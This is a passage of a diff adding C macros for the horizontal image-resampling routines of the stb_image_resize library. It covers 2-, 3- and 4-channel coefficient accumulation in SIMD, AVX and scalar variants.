+    { stbir__simdf t,d;                           \
+    stbir__simdf8_add4halves( t, stbir__if_simdf8_cast_to_simdf4(tot0), tot0 );    \
+    stbir__simdf_0123to2301( d, t );              \
+    stbir__simdf_add( t, t, d );                  \
+    stbir__simdf_store2( output, t );             \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 2; }
+
+#else
+
+#define stbir__4_coeff_start()                   \
+    stbir__simdf tot0,tot1,c,cs;                 \
+    STBIR_SIMD_NO_UNROLL(decode);                \
+    stbir__simdf_load( cs, hc );                 \
+    stbir__simdf_0123to0011( c, cs );            \
+    stbir__simdf_mult_mem( tot0, c, decode );    \
+    stbir__simdf_0123to2233( c, cs );            \
+    stbir__simdf_mult_mem( tot1, c, decode+4 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                \
+    STBIR_SIMD_NO_UNROLL(decode);                            \
+    stbir__simdf_load( cs, hc + (ofs) );                     \
+    stbir__simdf_0123to0011( c, cs );                        \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*2 );  \
+    stbir__simdf_0123to2233( c, cs );                        \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*2+4 );
+
+#define stbir__1_coeff_remnant( ofs )            \
+    { stbir__simdf d;                            \
+    stbir__simdf_load1z( cs, hc + (ofs) );       \
+    stbir__simdf_0123to0011( c, cs );            \
+    stbir__simdf_load2( d, decode + (ofs) * 2 ); \
+    stbir__simdf_madd( tot0, tot0, d, c ); }
+
+#define stbir__2_coeff_remnant( ofs )                      \
+    stbir__simdf_load2( cs, hc + (ofs) );                  \
+    stbir__simdf_0123to0011( c, cs );                      \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*2 );
+
+#define stbir__3_coeff_remnant( ofs )                       \
+    { stbir__simdf d;                                       \
+    stbir__simdf_load( cs, hc + (ofs) );                    \
+    stbir__simdf_0123to0011( c, cs );                       \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*2 ); \
+    stbir__simdf_0123to2222( c, cs );                       \
+    stbir__simdf_load2z( d, decode + (ofs) * 2 + 4 );       \
+    stbir__simdf_madd( tot1, tot1, d, c ); }
+
+#define stbir__store_output()                     \
+    stbir__simdf_add( tot0, tot0, tot1 );         \
+    stbir__simdf_0123to2301( c, tot0 );           \
+    stbir__simdf_add( tot0, tot0, c );            \
+    stbir__simdf_store2( output, tot0 );          \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 2;
+
+#endif
+
+#else
+
+#define stbir__1_coeff_only()  \
+    float tota,totb,c;         \
+    c = hc[0];                 \
+    tota = decode[0]*c;        \
+    totb = decode[1]*c;
+
+#define stbir__2_coeff_only()  \
+    float tota,totb,c;         \
+    c = hc[0];                 \
+    tota = decode[0]*c;        \
+    totb = decode[1]*c;        \
+    c = hc[1];                 \
+    tota += decode[2]*c;       \
+    totb += decode[3]*c;
+
+// this weird order of add matches the simd
+#define stbir__3_coeff_only()  \
+    float tota,totb,c;         \
+    c = hc[0];                 \
+    tota = decode[0]*c;        \
+    totb = decode[1]*c;        \
+    c = hc[2];                 \
+    tota += decode[4]*c;       \
+    totb += decode[5]*c;       \
+    c = hc[1];                 \
+    tota += decode[2]*c;       \
+    totb += decode[3]*c;
+
+#define stbir__store_output_tiny()                \
+    output[0] = tota;                             \
+    output[1] = totb;                             \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 2;
+
+#define stbir__4_coeff_start()      \
+    float tota0,tota1,tota2,tota3,totb0,totb1,totb2,totb3,c;  \
+    c = hc[0];                      \
+    tota0 = decode[0]*c;            \
+    totb0 = decode[1]*c;            \
+    c = hc[1];                      \
+    tota1 = decode[2]*c;            \
+    totb1 = decode[3]*c;            \
+    c = hc[2];                      \
+    tota2 = decode[4]*c;            \
+    totb2 = decode[5]*c;            \
+    c = hc[3];                      \
+    tota3 = decode[6]*c;            \
+    totb3 = decode[7]*c;
+
+#define stbir__4_coeff_continue_from_4( ofs )  \
+    c = hc[0+(ofs)];                           \
+    tota0 += decode[0+(ofs)*2]*c;              \
+    totb0 += decode[1+(ofs)*2]*c;              \
+    c = hc[1+(ofs)];                           \
+    tota1 += decode[2+(ofs)*2]*c;              \
+    totb1 += decode[3+(ofs)*2]*c;              \
+    c = hc[2+(ofs)];                           \
+    tota2 += decode[4+(ofs)*2]*c;              \
+    totb2 += decode[5+(ofs)*2]*c;              \
+    c = hc[3+(ofs)];                           \
+    tota3 += decode[6+(ofs)*2]*c;              \
+    totb3 += decode[7+(ofs)*2]*c;
+
+#define stbir__1_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*2] * c;    \
+    totb0 += decode[1+(ofs)*2] * c;
+
+#define stbir__2_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*2] * c;    \
+    totb0 += decode[1+(ofs)*2] * c;    \
+    c = hc[1+(ofs)];                   \
+    tota1 += decode[2+(ofs)*2] * c;    \
+    totb1 += decode[3+(ofs)*2] * c;
+
+#define stbir__3_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*2] * c;    \
+    totb0 += decode[1+(ofs)*2] * c;    \
+    c = hc[1+(ofs)];                   \
+    tota1 += decode[2+(ofs)*2] * c;    \
+    totb1 += decode[3+(ofs)*2] * c;    \
+    c = hc[2+(ofs)];                   \
+    tota2 += decode[4+(ofs)*2] * c;    \
+    totb2 += decode[5+(ofs)*2] * c;
+
+#define stbir__store_output()                     \
+    output[0] = (tota0+tota2)+(tota1+tota3);      \
+    output[1] = (totb0+totb2)+(totb1+totb3);      \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 2;
+
+#endif
+
+#define STBIR__horizontal_channels 2
+#define STB_IMAGE_RESIZE_DO_HORIZONTALS
+#include STBIR__HEADER_FILENAME
+
+
+//=================
+// Do 3 channel horizontal routines
+
+#ifdef STBIR_SIMD
+
+#define stbir__1_coeff_only()         \
+    stbir__simdf tot,c,d;             \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    stbir__simdf_load1z( c, hc );     \
+    stbir__simdf_0123to0001( c, c );  \
+    stbir__simdf_load( d, decode );   \
+    stbir__simdf_mult( tot, d, c );
+
+#define stbir__2_coeff_only()         \
+    stbir__simdf tot,c,cs,d;          \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    stbir__simdf_load2( cs, hc );     \
+    stbir__simdf_0123to0000( c, cs ); \
+    stbir__simdf_load( d, decode );   \
+    stbir__simdf_mult( tot, d, c );   \
+    stbir__simdf_0123to1111( c, cs ); \
+    stbir__simdf_load( d, decode+3 ); \
+    stbir__simdf_madd( tot, tot, d, c );
+
+#define stbir__3_coeff_only()            \
+    stbir__simdf tot,c,d,cs;             \
+    STBIR_SIMD_NO_UNROLL(decode);        \
+    stbir__simdf_load( cs, hc );         \
+    stbir__simdf_0123to0000( c, cs );    \
+    stbir__simdf_load( d, decode );      \
+    stbir__simdf_mult( tot, d, c );      \
+    stbir__simdf_0123to1111( c, cs );    \
+    stbir__simdf_load( d, decode+3 );    \
+    stbir__simdf_madd( tot, tot, d, c ); \
+    stbir__simdf_0123to2222( c, cs );    \
+    stbir__simdf_load( d, decode+6 );    \
+    stbir__simdf_madd( tot, tot, d, c );
+
+#define stbir__store_output_tiny()                \
+    stbir__simdf_store2( output, tot );           \
+    stbir__simdf_0123to2301( tot, tot );          \
+    stbir__simdf_store1( output+2, tot );         \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 3;
+
+#ifdef STBIR_SIMD8
+
+// we're loading from the XXXYYY decode by -1 to get the XXXYYY into different halves of the AVX reg fyi
+#define stbir__4_coeff_start()                     \
+    stbir__simdf8 tot0,tot1,c,cs; stbir__simdf t;  \
+    STBIR_SIMD_NO_UNROLL(decode);                  \
+    stbir__simdf8_load4b( cs, hc );                \
+    stbir__simdf8_0123to00001111( c, cs );         \
+    stbir__simdf8_mult_mem( tot0, c, decode - 1 ); \
+    stbir__simdf8_0123to22223333( c, cs );         \
+    stbir__simdf8_mult_mem( tot1, c, decode+6 - 1 );
+
+#define stbir__4_coeff_continue_from_4( ofs )      \
+    STBIR_SIMD_NO_UNROLL(decode);                  \
+    stbir__simdf8_load4b( cs, hc + (ofs) );        \
+    stbir__simdf8_0123to00001111( c, cs );         \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*3 - 1 ); \
+    stbir__simdf8_0123to22223333( c, cs );         \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+(ofs)*3 + 6 - 1 );
+
+#define stbir__1_coeff_remnant( ofs )                          \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf_load1rep4( t, hc + (ofs) );                   \
+    stbir__simdf8_madd_mem4( tot0, tot0, t, decode+(ofs)*3 - 1 );
+
+#define stbir__2_coeff_remnant( ofs )                          \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf8_load4b( cs, hc + (ofs) - 2 );                \
+    stbir__simdf8_0123to22223333( c, cs );                     \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*3 - 1 );
+
+ #define stbir__3_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                                \
+    stbir__simdf8_load4b( cs, hc + (ofs) );                      \
+    stbir__simdf8_0123to00001111( c, cs );                       \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*3 - 1 ); \
+    stbir__simdf8_0123to2222( t, cs );                           \
+    stbir__simdf8_madd_mem4( tot1, tot1, t, decode+(ofs)*3 + 6 - 1 );
+
+#define stbir__store_output()                       \
+    stbir__simdf8_add( tot0, tot0, tot1 );          \
+    stbir__simdf_0123to1230( t, stbir__if_simdf8_cast_to_simdf4( tot0 ) ); \
+    stbir__simdf8_add4halves( t, t, tot0 );         \
+    horizontal_coefficients += coefficient_width;   \
+    ++horizontal_contributors;                      \
+    output += 3;                                    \
+    if ( output < output_end )                      \
+    {                                               \
+      stbir__simdf_store( output-3, t );            \
+      continue;                                     \
+    }                                               \
+    { stbir__simdf tt; stbir__simdf_0123to2301( tt, t ); \
+    stbir__simdf_store2( output-3, t );             \
+    stbir__simdf_store1( output+2-3, tt ); }        \
+    break;
+
+
+#else
+
+#define stbir__4_coeff_start()                  \
+    stbir__simdf tot0,tot1,tot2,c,cs;           \
+    STBIR_SIMD_NO_UNROLL(decode);               \
+    stbir__simdf_load( cs, hc );                \
+    stbir__simdf_0123to0001( c, cs );           \
+    stbir__simdf_mult_mem( tot0, c, decode );   \
+    stbir__simdf_0123to1122( c, cs );           \
+    stbir__simdf_mult_mem( tot1, c, decode+4 ); \
+    stbir__simdf_0123to2333( c, cs );           \
+    stbir__simdf_mult_mem( tot2, c, decode+8 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                 \
+    STBIR_SIMD_NO_UNROLL(decode);                             \
+    stbir__simdf_load( cs, hc + (ofs) );                      \
+    stbir__simdf_0123to0001( c, cs );                         \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*3 );   \
+    stbir__simdf_0123to1122( c, cs );                         \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*3+4 ); \
+    stbir__simdf_0123to2333( c, cs );                         \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+(ofs)*3+8 );
+
+#define stbir__1_coeff_remnant( ofs )         \
+    STBIR_SIMD_NO_UNROLL(decode);             \
+    stbir__simdf_load1z( c, hc + (ofs) );     \
+    stbir__simdf_0123to0001( c, c );          \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*3 );
+
+#define stbir__2_coeff_remnant( ofs )                       \
+    { stbir__simdf d;                                       \
+    STBIR_SIMD_NO_UNROLL(decode);                           \
+    stbir__simdf_load2z( cs, hc + (ofs) );                  \
+    stbir__simdf_0123to0001( c, cs );                       \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*3 ); \
+    stbir__simdf_0123to1122( c, cs );                       \
+    stbir__simdf_load2z( d, decode+(ofs)*3+4 );             \
+    stbir__simdf_madd( tot1, tot1, c, d ); }
+
+#define stbir__3_coeff_remnant( ofs )                         \
+    { stbir__simdf d;                                         \
+    STBIR_SIMD_NO_UNROLL(decode);                             \
+    stbir__simdf_load( cs, hc + (ofs) );                      \
+    stbir__simdf_0123to0001( c, cs );                         \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*3 );   \
+    stbir__simdf_0123to1122( c, cs );                         \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*3+4 ); \
+    stbir__simdf_0123to2222( c, cs );                         \
+    stbir__simdf_load1z( d, decode+(ofs)*3+8 );               \
+    stbir__simdf_madd( tot2, tot2, c, d );  }
+
+#define stbir__store_output()                       \
+    stbir__simdf_0123ABCDto3ABx( c, tot0, tot1 );   \
+    stbir__simdf_0123ABCDto23Ax( cs, tot1, tot2 );  \
+    stbir__simdf_0123to1230( tot2, tot2 );          \
+    stbir__simdf_add( tot0, tot0, cs );             \
+    stbir__simdf_add( c, c, tot2 );                 \
+    stbir__simdf_add( tot0, tot0, c );              \
+    horizontal_coefficients += coefficient_width;   \
+    ++horizontal_contributors;                      \
+    output += 3;                                    \
+    if ( output < output_end )                      \
+    {                                               \
+      stbir__simdf_store( output-3, tot0 );         \
+      continue;                                     \
+    }                                               \
+    stbir__simdf_0123to2301( tot1, tot0 );          \
+    stbir__simdf_store2( output-3, tot0 );          \
+    stbir__simdf_store1( output+2-3, tot1 );        \
+    break;
+
+#endif
+
+#else
+
+#define stbir__1_coeff_only()  \
+    float tot0, tot1, tot2, c; \
+    c = hc[0];                 \
+    tot0 = decode[0]*c;        \
+    tot1 = decode[1]*c;        \
+    tot2 = decode[2]*c;
+
+#define stbir__2_coeff_only()  \
+    float tot0, tot1, tot2, c; \
+    c = hc[0];                 \
+    tot0 = decode[0]*c;        \
+    tot1 = decode[1]*c;        \
+    tot2 = decode[2]*c;        \
+    c = hc[1];                 \
+    tot0 += decode[3]*c;       \
+    tot1 += decode[4]*c;       \
+    tot2 += decode[5]*c;
+
+#define stbir__3_coeff_only()  \
+    float tot0, tot1, tot2, c; \
+    c = hc[0];                 \
+    tot0 = decode[0]*c;        \
+    tot1 = decode[1]*c;        \
+    tot2 = decode[2]*c;        \
+    c = hc[1];                 \
+    tot0 += decode[3]*c;       \
+    tot1 += decode[4]*c;       \
+    tot2 += decode[5]*c;       \
+    c = hc[2];                 \
+    tot0 += decode[6]*c;       \
+    tot1 += decode[7]*c;       \
+    tot2 += decode[8]*c;
+
+#define stbir__store_output_tiny()                \
+    output[0] = tot0;                             \
+    output[1] = tot1;                             \
+    output[2] = tot2;                             \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 3;
+
+#define stbir__4_coeff_start()      \
+    float tota0,tota1,tota2,totb0,totb1,totb2,totc0,totc1,totc2,totd0,totd1,totd2,c;  \
+    c = hc[0];                      \
+    tota0 = decode[0]*c;            \
+    tota1 = decode[1]*c;            \
+    tota2 = decode[2]*c;            \
+    c = hc[1];                      \
+    totb0 = decode[3]*c;            \
+    totb1 = decode[4]*c;            \
+    totb2 = decode[5]*c;            \
+    c = hc[2];                      \
+    totc0 = decode[6]*c;            \
+    totc1 = decode[7]*c;            \
+    totc2 = decode[8]*c;            \
+    c = hc[3];                      \
+    totd0 = decode[9]*c;            \
+    totd1 = decode[10]*c;           \
+    totd2 = decode[11]*c;
+
+#define stbir__4_coeff_continue_from_4( ofs )  \
+    c = hc[0+(ofs)];                           \
+    tota0 += decode[0+(ofs)*3]*c;              \
+    tota1 += decode[1+(ofs)*3]*c;              \
+    tota2 += decode[2+(ofs)*3]*c;              \
+    c = hc[1+(ofs)];                           \
+    totb0 += decode[3+(ofs)*3]*c;              \
+    totb1 += decode[4+(ofs)*3]*c;              \
+    totb2 += decode[5+(ofs)*3]*c;              \
+    c = hc[2+(ofs)];                           \
+    totc0 += decode[6+(ofs)*3]*c;              \
+    totc1 += decode[7+(ofs)*3]*c;              \
+    totc2 += decode[8+(ofs)*3]*c;              \
+    c = hc[3+(ofs)];                           \
+    totd0 += decode[9+(ofs)*3]*c;              \
+    totd1 += decode[10+(ofs)*3]*c;             \
+    totd2 += decode[11+(ofs)*3]*c;
+
+#define stbir__1_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*3]*c;      \
+    tota1 += decode[1+(ofs)*3]*c;      \
+    tota2 += decode[2+(ofs)*3]*c;
+
+#define stbir__2_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*3]*c;      \
+    tota1 += decode[1+(ofs)*3]*c;      \
+    tota2 += decode[2+(ofs)*3]*c;      \
+    c = hc[1+(ofs)];                   \
+    totb0 += decode[3+(ofs)*3]*c;      \
+    totb1 += decode[4+(ofs)*3]*c;      \
+    totb2 += decode[5+(ofs)*3]*c;      \
+
+#define stbir__3_coeff_remnant( ofs )  \
+    c = hc[0+(ofs)];                   \
+    tota0 += decode[0+(ofs)*3]*c;      \
+    tota1 += decode[1+(ofs)*3]*c;      \
+    tota2 += decode[2+(ofs)*3]*c;      \
+    c = hc[1+(ofs)];                   \
+    totb0 += decode[3+(ofs)*3]*c;      \
+    totb1 += decode[4+(ofs)*3]*c;      \
+    totb2 += decode[5+(ofs)*3]*c;      \
+    c = hc[2+(ofs)];                   \
+    totc0 += decode[6+(ofs)*3]*c;      \
+    totc1 += decode[7+(ofs)*3]*c;      \
+    totc2 += decode[8+(ofs)*3]*c;
+
+#define stbir__store_output()                     \
+    output[0] = (tota0+totc0)+(totb0+totd0);      \
+    output[1] = (tota1+totc1)+(totb1+totd1);      \
+    output[2] = (tota2+totc2)+(totb2+totd2);      \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 3;
+
+#endif
+
+#define STBIR__horizontal_channels 3
+#define STB_IMAGE_RESIZE_DO_HORIZONTALS
+#include STBIR__HEADER_FILENAME
+
+//=================
+// Do 4 channel horizontal routines
+
+#ifdef STBIR_SIMD
+
+#define stbir__1_coeff_only()             \
+    stbir__simdf tot,c;                   \
+    STBIR_SIMD_NO_UNROLL(decode);         \
+    stbir__simdf_load1( c, hc );          \
+    stbir__simdf_0123to0000( c, c );      \
+    stbir__simdf_mult_mem( tot, c, decode );
+
+#define stbir__2_coeff_only()                       \
+    stbir__simdf tot,c,cs;                          \
+    STBIR_SIMD_NO_UNROLL(decode);                   \
+    stbir__simdf_load2( cs, hc );                   \
+    stbir__simdf_0123to0000( c, cs );               \
+    stbir__simdf_mult_mem( tot, c, decode );        \
+    stbir__simdf_0123to1111( c, cs );               \
+    stbir__simdf_madd_mem( tot, tot, c, decode+4 );
+
+#define stbir__3_coeff_only()                       \
+    stbir__simdf tot,c,cs;                          \
+    STBIR_SIMD_NO_UNROLL(decode);                   \
+    stbir__simdf_load( cs, hc );                    \
+    stbir__simdf_0123to0000( c, cs );               \
+    stbir__simdf_mult_mem( tot, c, decode );        \
+    stbir__simdf_0123to1111( c, cs );               \
+    stbir__simdf_madd_mem( tot, tot, c, decode+4 ); \
+    stbir__simdf_0123to2222( c, cs );               \
+    stbir__simdf_madd_mem( tot, tot, c, decode+8 );
+
+#define stbir__store_output_tiny()                \
+    stbir__simdf_store( output, tot );            \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 4;
+
+#ifdef STBIR_SIMD8
+
+#define stbir__4_coeff_start()                     \
+    stbir__simdf8 tot0,c,cs; stbir__simdf t;  \
+    STBIR_SIMD_NO_UNROLL(decode);                  \
+    stbir__simdf8_load4b( cs, hc );                \
+    stbir__simdf8_0123to00001111( c, cs );         \
+    stbir__simdf8_mult_mem( tot0, c, decode );     \
+    stbir__simdf8_0123to22223333( c, cs );         \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+8 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                  \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf8_load4b( cs, hc + (ofs) );                    \
+    stbir__simdf8_0123to00001111( c, cs );                     \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*4 );   \
+    stbir__simdf8_0123to22223333( c, cs );                     \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*4+8 );
+
+#define stbir__1_coeff_remnant( ofs )                          \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf_load1rep4( t, hc + (ofs) );                   \
+    stbir__simdf8_madd_mem4( tot0, tot0, t, decode+(ofs)*4 );
+
+#define stbir__2_coeff_remnant( ofs )                          \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf8_load4b( cs, hc + (ofs) - 2 );                \
+    stbir__simdf8_0123to22223333( c, cs );                     \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*4 );
+
+ #define stbir__3_coeff_remnant( ofs )                         \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf8_load4b( cs, hc + (ofs) );                    \
+    stbir__simdf8_0123to00001111( c, cs );                     \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*4 );   \
+    stbir__simdf8_0123to2222( t, cs );                         \
+    stbir__simdf8_madd_mem4( tot0, tot0, t, decode+(ofs)*4+8 );
+
+#define stbir__store_output()                      \
+    stbir__simdf8_add4halves( t, stbir__if_simdf8_cast_to_simdf4(tot0), tot0 );     \
+    stbir__simdf_store( output, t );               \
+    horizontal_coefficients += coefficient_width;  \
+    ++horizontal_contributors;                     \
+    output += 4;
+
+#else
+
+#define stbir__4_coeff_start()                        \
+    stbir__simdf tot0,tot1,c,cs;                      \
+    STBIR_SIMD_NO_UNROLL(decode);                     \
+    stbir__simdf_load( cs, hc );                      \
+    stbir__simdf_0123to0000( c, cs );                 \
+    stbir__simdf_mult_mem( tot0, c, decode );         \
+    stbir__simdf_0123to1111( c, cs );                 \
+    stbir__simdf_mult_mem( tot1, c, decode+4 );       \
+    stbir__simdf_0123to2222( c, cs );                 \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+8 ); \
+    stbir__simdf_0123to3333( c, cs );                 \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+12 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                  \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf_load( cs, hc + (ofs) );                       \
+    stbir__simdf_0123to0000( c, cs );                          \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4 );    \
+    stbir__simdf_0123to1111( c, cs );                          \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*4+4 );  \
+    stbir__simdf_0123to2222( c, cs );                          \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4+8 );  \
+    stbir__simdf_0123to3333( c, cs );                          \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*4+12 );
+
+#define stbir__1_coeff_remnant( ofs )                       \
+    STBIR_SIMD_NO_UNROLL(decode);                           \
+    stbir__simdf_load1( c, hc + (ofs) );                    \
+    stbir__simdf_0123to0000( c, c );                        \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4 );
+
+#define stbir__2_coeff_remnant( ofs )                         \
+    STBIR_SIMD_NO_UNROLL(decode);                             \
+    stbir__simdf_load2( cs, hc + (ofs) );                     \
+    stbir__simdf_0123to0000( c, cs );                         \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4 );   \
+    stbir__simdf_0123to1111( c, cs );                         \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*4+4 );
+
+#define stbir__3_coeff_remnant( ofs )                          \
+    STBIR_SIMD_NO_UNROLL(decode);                              \
+    stbir__simdf_load( cs, hc + (ofs) );                       \
+    stbir__simdf_0123to0000( c, cs );                          \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4 );    \
+    stbir__simdf_0123to1111( c, cs );                          \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*4+4 );  \
+    stbir__simdf_0123to2222( c, cs );                          \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*4+8 );
+
+#define stbir__store_output()                     \
+    stbir__simdf_add( tot0, tot0, tot1 );         \
+    stbir__simdf_store( output, tot0 );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 4;
+
+#endif
+
+#else
+
+#define stbir__1_coeff_only()         \
+    float p0,p1,p2,p3,c;              \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0];                        \
+    p0 = decode[0] * c;               \
+    p1 = decode[1] * c;               \
+    p2 = decode[2] * c;               \
+    p3 = decode[3] * c;
+
+#define stbir__2_coeff_only()         \
+    float p0,p1,p2,p3,c;              \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0];                        \
+    p0 = decode[0] * c;               \
+    p1 = decode[1] * c;               \
+    p2 = decode[2] * c;               \
+    p3 = decode[3] * c;               \
+    c = hc[1];                        \
+    p0 += decode[4] * c;              \
+    p1 += decode[5] * c;              \
+    p2 += decode[6] * c;              \
+    p3 += decode[7] * c;
+
+#define stbir__3_coeff_only()         \
+    float p0,p1,p2,p3,c;              \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0];                        \
+    p0 = decode[0] * c;               \
+    p1 = decode[1] * c;               \
+    p2 = decode[2] * c;               \
+    p3 = decode[3] * c;               \
+    c = hc[1];                        \
+    p0 += decode[4] * c;              \
+    p1 += decode[5] * c;              \
+    p2 += decode[6] * c;              \
+    p3 += decode[7] * c;              \
+    c = hc[2];                        \
+    p0 += decode[8] * c;              \
+    p1 += decode[9] * c;              \
+    p2 += decode[10] * c;             \
+    p3 += decode[11] * c;
+
+#define stbir__store_output_tiny()                \
+    output[0] = p0;                               \
+    output[1] = p1;                               \
+    output[2] = p2;                               \
+    output[3] = p3;                               \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 4;
+
+#define stbir__4_coeff_start()        \
+    float x0,x1,x2,x3,y0,y1,y2,y3,c;  \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0];                        \
+    x0 = decode[0] * c;               \
+    x1 = decode[1] * c;               \
+    x2 = decode[2] * c;               \
+    x3 = decode[3] * c;               \
+    c = hc[1];                        \
+    y0 = decode[4] * c;               \
+    y1 = decode[5] * c;               \
+    y2 = decode[6] * c;               \
+    y3 = decode[7] * c;               \
+    c = hc[2];                        \
+    x0 += decode[8] * c;              \
+    x1 += decode[9] * c;              \
+    x2 += decode[10] * c;             \
+    x3 += decode[11] * c;             \
+    c = hc[3];                        \
+    y0 += decode[12] * c;             \
+    y1 += decode[13] * c;             \
+    y2 += decode[14] * c;             \
+    y3 += decode[15] * c;
+
+#define stbir__4_coeff_continue_from_4( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0+(ofs)];                  \
+    x0 += decode[0+(ofs)*4] * c;      \
+    x1 += decode[1+(ofs)*4] * c;      \
+    x2 += decode[2+(ofs)*4] * c;      \
+    x3 += decode[3+(ofs)*4] * c;      \
+    c = hc[1+(ofs)];                  \
+    y0 += decode[4+(ofs)*4] * c;      \
+    y1 += decode[5+(ofs)*4] * c;      \
+    y2 += decode[6+(ofs)*4] * c;      \
+    y3 += decode[7+(ofs)*4] * c;      \
+    c = hc[2+(ofs)];                  \
+    x0 += decode[8+(ofs)*4] * c;      \
+    x1 += decode[9+(ofs)*4] * c;      \
+    x2 += decode[10+(ofs)*4] * c;     \
+    x3 += decode[11+(ofs)*4] * c;     \
+    c = hc[3+(ofs)];                  \
+    y0 += decode[12+(ofs)*4] * c;     \
+    y1 += decode[13+(ofs)*4] * c;     \
+    y2 += decode[14+(ofs)*4] * c;     \
+    y3 += decode[15+(ofs)*4] * c;
+
+#define stbir__1_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0+(ofs)];                  \
+    x0 += decode[0+(ofs)*4] * c;      \
+    x1 += decode[1+(ofs)*4] * c;      \
+    x2 += decode[2+(ofs)*4] * c;      \
+    x3 += decode[3+(ofs)*4] * c;
+
+#define stbir__2_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0+(ofs)];                  \
+    x0 += decode[0+(ofs)*4] * c;      \
+    x1 += decode[1+(ofs)*4] * c;      \
+    x2 += decode[2+(ofs)*4] * c;      \
+    x3 += decode[3+(ofs)*4] * c;      \
+    c = hc[1+(ofs)];                  \
+    y0 += decode[4+(ofs)*4] * c;      \
+    y1 += decode[5+(ofs)*4] * c;      \
+    y2 += decode[6+(ofs)*4] * c;      \
+    y3 += decode[7+(ofs)*4] * c;
+
+#define stbir__3_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    c = hc[0+(ofs)];                  \
+    x0 += decode[0+(ofs)*4] * c;      \
+    x1 += decode[1+(ofs)*4] * c;      \
+    x2 += decode[2+(ofs)*4] * c;      \
+    x3 += decode[3+(ofs)*4] * c;      \
+    c = hc[1+(ofs)];                  \
+    y0 += decode[4+(ofs)*4] * c;      \
+    y1 += decode[5+(ofs)*4] * c;      \
+    y2 += decode[6+(ofs)*4] * c;      \
+    y3 += decode[7+(ofs)*4] * c;      \
+    c = hc[2+(ofs)];                  \
+    x0 += decode[8+(ofs)*4] * c;      \
